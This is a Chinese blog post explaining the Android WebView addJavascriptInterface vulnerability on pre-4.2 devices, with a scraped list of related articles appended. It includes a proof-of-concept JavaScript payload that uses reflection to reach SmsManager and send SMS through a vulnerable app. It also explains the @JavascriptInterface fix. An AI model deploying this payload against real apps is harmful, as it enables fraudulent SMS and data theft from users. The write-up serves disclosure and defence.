本文章由Jack_Jia编写,转载请注明出处。  
文章链接:

http://blog.csdn.net/jiazhijun/article/details/11131891

作者:Jack_Jia    邮箱: 309zhijun@163.com

一、漏洞描述

近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。

二、影响版本

Android系统版本低于4.2

三、漏洞原理

漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件:

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因:

Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

四、POC代码

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

WebView webview = new WebView(context);

WebSettings webset= webview.getSettings();
         webset.setJavaScriptEnabled(true);
         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

利用该漏洞的外部javascript脚本:

<script>

var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

obj_smsManager.sendTextMessage("159********",null,"test",null,null);

</script>

出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来的链接。

五、相关链接

http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314

Android WebView挂马漏洞--各大厂商纷纷落马的更多相关文章

  1. Android WebView漏洞(转)

    一.漏洞描述 近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件.向好友 发送欺诈短信.通讯录和短信被窃取等严重后果. ...

  2. android webview 漏洞背后的节操

    by superhei 2013/09/06 [注:本文提到的都是我个人的观点,该行为也是私人行为,与任何组织.公司无关.另:水军请自重!] 一.前言   这两天,一个2+年前的android web ...

  3. android WebView详解,常见漏洞详解和安全源码

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  转载请注明出处:http://blog.csdn.net/se ...

  4. Android WebView存在跨域访问漏洞(CNVD-2017-36682)介绍及解决

    Android WebView存在跨域访问漏洞(CNVD-2017-36682).攻击者利用该漏洞,可远程获取用户隐私数据(包括手机应用数据.照片.文档等敏感信息),还可窃取用户登录凭证,在受害者毫无 ...

  5. Chromium Graphics: Android L平台上WebView的变化及其对浏览器厂商的影响分析

    原创文章.转载请以链接形式注明原始出处为http://blog.csdn.net/hongbomin/article/details/40799167. 摘要:Google近期公布的Android L ...

  6. Android WebView File域同源策略绕过漏洞浅析

       0x00     我们首先讲一个webView这种方法的作用: webView.getSettings().setAllowFileAccessFromFileURLs(false);     ...

  7. 织梦dedecms修改include和plus重命名提高安全性防漏洞注入挂马

    织梦dedecms是新手站长使用得比较多的一个建站开源程序,正因如此,也是被被入侵挂马比较多的程序.下面就来跟大家说一下怎么重新命名dedecms的include文件夹以及plus文件夹来提高网站的安 ...

  8. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  9. 记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用 执行命令为 : /tmp/php  -s /tmp/p2.conf 基本可以确定是被挂马了 下一步确定来源 last 没有 ...

随机推荐

  1. CQOI2015 选数

    题目 从\([L, H]\)(\(H-L\leq 10^5\))选出\(n\)个整数,使得这些数的最大公约数为\(k\)的方案数. 算法 首先有一个很简单的转化,原问题可以简化为: 从\([\lcei ...

  2. codility上的问题(26) Hydrogenium 2013

    题目,挺无聊的.一个裸的最短路.n个点,你住在0,要去买东西,每个点有一个关门时间,问能最早买到食物的时间.有两点注意 (1)有重边 (2) 原图是dicrect连接...但不是有向边,被这个误导了. ...

  3. javascript笔记整理(window对象)

    浏览器对象模型 (BOM--Browser Object Model),window对象是BOM中所有对象的核心 A.属性 1.(位置类型-获得浏览器的位置) IE:window.screenLeft ...

  4. js实现图片上传预览及进度条

    原文js实现图片上传预览及进度条 最近在做图片上传的时候,由于产品设计的比较fashion,上网找了比较久还没有现成的,因此自己做了一个,实现的功能如下: 1:去除浏览器<input type= ...

  5. jquery子元素过滤选择器

    :nth-child('索引值')//获取指定元素下的某个子元素的位置,索引从1开始: //偶数行                 //$('li:nth-child(even)').addClass ...

  6. 通过 Spring RestTemplate 调用带请求体的 Delete 方法(Delete With Request Body)

    Spring 框架的RestTemplate 类定义了一些我们在通过 java 代码调用 Rest 服务时经常需要用到的方法,使得我们通过 java 调用 rest 服务时更加方便.简单.但是 Res ...

  7. 开源数据库连接池之Tomcat内置连接池

    本篇介绍几种开源数据库连接池,同时重点讲述如何使用Tomcat服务器内置的数据库连接池. 之前的博客已经重点讲述了使用数据库连接池的好处,即是将多次创建连接转变为一次创建而使用长连接模式.这样能减少数 ...

  8. iframe间的通信

    父框架 <body></body> <script type="text/javascript"> document.domain = '100 ...

  9. Qt 打包发布 不能动态打开图片显示问题

    刚写完一个图片标注工具, 发现在我电脑可以实时打开照片显示出来,在他人的电脑上就不可以. 原来Qt默认只识别png 具体解决方案: 原地址:http://blog.csdn.net/goodlixue ...

  10. Swift - 给游戏添加背景音乐和音效(SpriteKit游戏开发)

    游戏少不了背景音乐和音效.下面我们通过创建一个管理音效的类,来实现背景音乐的播放,同时点击屏幕可以播放相应的音效. 声音管理类 SoundManager.swift 1 2 3 4 5 6 7 8 9 ...